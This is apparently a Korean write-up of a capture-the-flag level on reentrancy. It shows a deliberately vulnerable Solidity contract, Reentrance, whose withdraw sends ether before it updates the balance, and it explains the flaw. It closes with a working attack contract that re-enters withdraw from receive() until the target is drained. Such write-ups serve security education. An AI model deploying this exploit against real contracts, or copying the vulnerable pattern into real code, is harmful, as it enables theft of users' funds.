// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
이 문제는 문제 이름에서 알아차릴 수 있는데 reentrancy attack의 취약하다. 이 문제에 취약점은 withdraw(uint256)
에서 확인할 수 있는데 king문제에서 처럼 'Checks Effects Interactions' 패턴을 사용하지 않아 생기는 문제이다. 체크하는 로직이 if(balances[msg.sender] >= _amount)
이 부분이고 balances[msg.sender] -= _amount;
값을 처리하기 전에 먼저 call을 통하여 이더를 보내주기 때문에 컨트롤플로우를 뺐어올 수 있다. fallback에서 withdraw()
를 문제 컨트렉트의 balance가 0이될 때까지 실행시키면 컨트렉트에 모든 이더를 빼낼 수 있다.
다음과 같은 컨트렉트로 문제를 풀이하였다.
contract attack
{
Reentrance public target = Reentrance(payable(0xAFfbcA160B91Ab97478456BB31D567829AA0a354));
function atk() payable public
{
target.donate{value: msg.value}(address(this));
target.withdraw(msg.value);
}
receive() external payable
{
if(address(target).balance != 0)
{
target.withdraw(0.001 ether);
}
}
}